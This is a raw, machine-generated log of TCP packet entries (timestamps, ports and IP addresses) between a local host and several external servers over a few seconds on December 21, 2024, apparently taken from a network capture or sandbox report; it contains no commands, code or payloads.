Dec 21, 2024 18:16:28.074148893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.074161053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.074888945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.074938059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.074944973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.074959040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.074987888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.075000048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.075783968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.075833082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.075845957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.075875044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.075900078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.075930119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.076589108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.076634884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.076637983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.076664925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.076683044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.076709032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.077491999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.077521086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.077547073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.077549934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.077569962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.077594042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.078389883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.078418970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.078438997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.078447104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.078449965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.078497887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.079123974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.079185963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.079242945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:28.079291105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:28.476663113 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:28.476905107 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:28.476965904 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:28.477260113 CET	49812	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:28.477277994 CET	443	49812	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:29.632546902 CET	49819	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:29.632698059 CET	443	49819	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:29.633074999 CET	49819	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:29.633414984 CET	49819	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:29.633496046 CET	443	49819	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:30.256432056 CET	49802	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:30.256803989 CET	49820	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:30.383491993 CET	80	49820	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:30.383531094 CET	80	49802	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:30.383575916 CET	49820	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:30.383590937 CET	49802	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:30.383786917 CET	49820	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:30.507127047 CET	80	49820	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:30.706965923 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:30.707024097 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:30.707140923 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:30.717617989 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:30.717638969 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:30.856947899 CET	443	49819	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:30.857043028 CET	49819	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:30.858146906 CET	49819	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:30.858175993 CET	443	49819	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:30.858524084 CET	443	49819	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:30.860141993 CET	49819	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:30.860217094 CET	49819	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:30.860229015 CET	443	49819	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:31.516169071 CET	443	49819	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:31.516375065 CET	443	49819	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:31.516444921 CET	49819	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:31.520870924 CET	49819	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:31.520914078 CET	443	49819	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:31.724379063 CET	80	49820	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:31.724622965 CET	49820	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:31.726115942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:31.726397991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:31.846122980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:31.846184969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:31.846199036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:31.846235991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:31.846467972 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:31.852499008 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:31.852591038 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:31.852679968 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:31.867367983 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:31.867440939 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:31.966098070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:32.164232016 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:32.164340973 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:32.164439917 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:32.164784908 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:32.164823055 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:32.421072960 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:32.421186924 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:32.422159910 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:32.422239065 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:32.482597113 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:32.482618093 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:32.483175039 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:32.483253956 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:32.485033035 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:32.527376890 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:33.170078993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170186996 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.170226097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170263052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170305014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170320034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.170361042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170378923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.170398951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170440912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170464039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.170464039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.170517921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170523882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.170558929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170607090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.170722961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.170722961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.291985989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.292114019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.292151928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.292247057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.296020985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.296082973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.325978041 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:33.326075077 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:33.326148987 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:33.326271057 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:33.326287985 CET	443	49824	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:33.326296091 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:33.326330900 CET	49824	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:33.361994982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.362039089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.362193108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.364399910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.364516020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.364563942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.364900112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.369400024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.369508982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.369550943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.369574070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.377932072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.378135920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.378216982 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.378216982 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.386194944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.386308908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.386343956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.386413097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.386980057 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.387067080 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.388268948 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.388319016 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.388659000 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.389868021 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.390578032 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.390626907 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.390755892 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.390808105 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.390945911 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.390976906 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.391287088 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.391338110 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.391521931 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.391560078 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.391756058 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.391798019 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.391832113 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.392031908 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.392082930 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.394625902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.394695044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.394752026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.394813061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.403058052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.403173923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.403238058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.403294086 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.411390066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.411489964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.411560059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.411618948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.420157909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.420296907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.420305014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.420437098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.428160906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.428265095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.428328037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.435358047 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.435564041 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.435615063 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.435633898 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.435899973 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.436047077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.436084032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.436110973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.443658113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.443742990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.482002020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.482067108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.482088089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.482180119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.483328104 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.483545065 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.483618021 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.483634949 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.485951900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.486090899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.500554085 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:33.500571012 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:33.500623941 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:33.500955105 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:33.500967979 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:33.531323910 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.531418085 CET	49828	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:33.554199934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.554255962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.554301977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.554335117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.555269957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.555330038 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.555351019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.555421114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.559716940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.559799910 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.559801102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.559890985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.563219070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.563277960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.563358068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.567822933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.567909956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.567928076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.567967892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.571240902 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:33.571404934 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:33.572622061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.572681904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.572740078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.572757006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.573937893 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:33.574181080 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:33.577049971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.577109098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.577128887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.577621937 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.579324961 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.581706047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.581779003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.581862926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.586008072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.586066961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.586144924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.590056896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.590157986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.590282917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.594508886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.594625950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.594697952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.599565983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.599621058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.599699974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.603463888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.603543997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.603634119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.608062029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.608108997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.608196020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.612443924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.612694979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.612773895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.616084099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.616164923 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.616271973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.619661093 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:33.619734049 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:33.619807959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.619869947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.619955063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.620768070 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:33.621491909 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:33.622961044 CET	49827	443	192.168.2.4	172.217.17.46
Dec 21, 2024 18:16:33.623249054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.623328924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.623347998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.625730991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.626991987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.627031088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.627111912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.627111912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.630770922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.630912066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.630985022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.634041071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.634243965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.634366035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.638016939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.638062954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.638231993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.641635895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.641803026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.641994953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.642074108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.645210981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.645308018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.645384073 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.663424969 CET	443	49827	172.217.17.46	192.168.2.4
Dec 21, 2024 18:16:33.674207926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.674295902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.746542931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.746623039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.746808052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.748037100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.748137951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.748203993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.750793934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.751130104 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.751188040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.753729105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.753873110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.753923893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.756818056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.756853104 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.756942987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.758526087 CET	443	49828	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:33.759480000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.759536982 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.759587049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.761559963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.762032032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.762121916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.762187958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.762254000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.764693022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.764755964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.764991045 CET	80	49826	31.41.244.11	192.168.2.4
